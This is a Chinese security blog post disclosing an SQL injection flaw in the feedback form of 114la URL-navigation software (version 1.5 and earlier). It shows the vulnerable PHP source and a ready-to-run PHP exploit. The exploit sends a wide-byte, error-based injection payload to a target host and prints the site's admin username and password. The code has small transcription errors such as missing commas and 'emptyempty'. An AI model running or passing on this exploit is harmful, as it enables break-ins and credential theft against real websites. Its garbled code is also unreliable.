首页 > Web安全 > 114啦网址导航留言本注入漏洞
2011
09-08

114啦网址导航留言本注入漏洞

漏洞文件 feedback/feedback.php
影响版本<=1.5 代码:



  1. $username = emptyempty($_POST['username']) ? '' : strip_tags(iconv('UTF-8', 'GBK', $_POST['username']));   

  2. $email = (isset($_POST['email'])) ? strip_tags(iconv('UTF-8', 'GBK', $_POST['email'])) : '';   

  3. $content = (isset($_POST['content'])) ? trim(iconv('UTF-8', 'GBK', $_POST['content'])) : '';   

  4. (emptyempty($content)) &amp;&amp; $error_msg .= ',意见及建议 ';   

  5.   

  6. if (!emptyempty($error_msg))   

  7. {   

  8. throw new Exception($error_msg, 11);   

  9. }   

  10.   

  11. $content = htmlspecialchars($content, ENT_QUOTES);   

  12. if (strlen($content) &gt; 600 || strlen($content) &lt; 40) { throw new Exception('请将您的描述控制在 20 - 300 字,更多内容请您分次提交。', 1); } // 验证次数 $old_cookie = (isset($_COOKIE['fdnum'])) ? (int)$_COOKIE['fdnum'] : 0; if ($old_cookie &gt;= SUBMIT_ONE_DAY)   

  13. {   

  14. throw new Exception('抱歉,24 小时内您只能提交 ' . SUBMIT_ONE_DAY . ' 次反馈信息。谢谢合作!', 2);   

  15. }   

  16. $old_cookie++;   

  17.   

  18. if (false === app_db::insert('ylmf_feedback', array('username', 'email', 'content', 'add_time'),   

  19. array($username$email$content, time())))   

  20. {   

  21. throw new Exception('抱歉,信息提交失败,请重试。', 1);   

  22. }   

  23. else  

  24. {   

  25. // 记录提交次数   

  26. if ($old_cookie &gt; SUBMIT_ONE_DAY || !isset($_COOKIE['fdstime']) || $_COOKIE['fdstime'] &lt; 1)   

  27. {   

  28. setcookie('dfstime', time(), time() + 86400);   

  29. setcookie('fdnum', $old_cookie, time() + 86400);   

  30. }   

  31. else  

  32. {   

  33. setcookie('fdnum', $old_cookie, time() + 86400 - (time() - $_COOKIE['fdstime']));   

  34. }   

  35.   

  36. throw new Exception('   

  37. <div class="success">提交成功,感谢您的反馈! <a href="'. URL .'/">返回首页</a></div>   

  38. ', 3);   

  39. unset($username$email$content);   

  40. }  

EXP代码:


Code   ViewCopyPrint


  1. <?php   

  2. $sbcopyright='   

  3. ----------------------------------------   

  4. 114la feedback injection Vul Exploit   

  5. By xZL   

  6. Team: www.0kee.com   

  7. 2011.04.02   

  8.   

  9. Usage: php '.$argv[0].' host /path   

  10. Example: php '.$argv[0].' www.nxadmin.com /   

  11. ----------------------------------------   

  12. ';   

  13. if ($argc < 3) {   

  14. print_r($sbcopyright);   

  15. die();   

  16. }   

  17.   

  18. ob_start();   

  19.  $url = $argv[1];   

  20. $path$argv[2];   

  21.   

  22. $sock = fsockopen("$url", 80, $errno$errstr, 30);   

  23. if (!$sockdie("$errstr ($errno)\n");   

  24. $data = "username=0kee%E7%B8%97'&email=,0,(select%201%20from%20(select%20count(*),concat((SELECT%20concat(name,0x5f,password)%20FROM%20ylmf_admin_user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a),2)#&content=~~~~~this is a test from 0kee security team~~~~~";   

  25.   

  26. fwrite($sock"POST $path/feedback/feedback.php HTTP/1.1\r\n");   

  27. fwrite($sock"Accept: */*\r\n");   

  28. fwrite($sock"Referer: http://$url/#M\r\n");   

  29. fwrite($sock"Accept-Language: zh-cn\r\n");   

  30. fwrite($sock"Content-Type: application/x-www-form-urlencoded\r\n");   

  31. fwrite($sock"Accept-Encoding: gzip, deflate\r\n");   

  32. fwrite($sock"User-Agent: Mozilla\r\n");   

  33. fwrite($sock"Host: $url\r\n");   

  34. fwrite($sock"Content-Length: ".strlen($data)."\r\n");   

  35. fwrite($sock"Connection: Keep-Alive\r\n");   

  36. fwrite($sock"Cache-Control: no-cache\r\n");   

  37. fwrite($sock"Cookie:ASPSESSIONIDASDRRBRA=MFILAMMAENMDGAPJLLKPEAON\r\n\r\n");   

  38. fwrite($sock$data);   

  39.   

  40. $headers = "";   

  41. while ($str = trim(fgets($sock, 4096)))   

  42.      $headers .= "$str\n";   

  43. echo "\n";   

  44. $body = "";   

  45. while (!feof($sock))   

  46.      $body .= fgets($sock, 4096);   

  47.   

  48. fclose($sock);   

  49.   

  50. if (strpos($body, 'Duplicate entry') !== false) {   

  51. preg_match('/Duplicate entry \'(.*)1\'/', $body$arr);   

  52. $result=explode("_",$arr[1]);   

  53. print_r("Exploit Success! \nusername:".$result[0]."\npassword:".$result[1]."\nGood Luck!");   

  54. }else{   

  55. print_r("Exploit Failed! \n");   

  56. }   

  57.   

  58. ob_end_flush();   

  59. ?>  

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。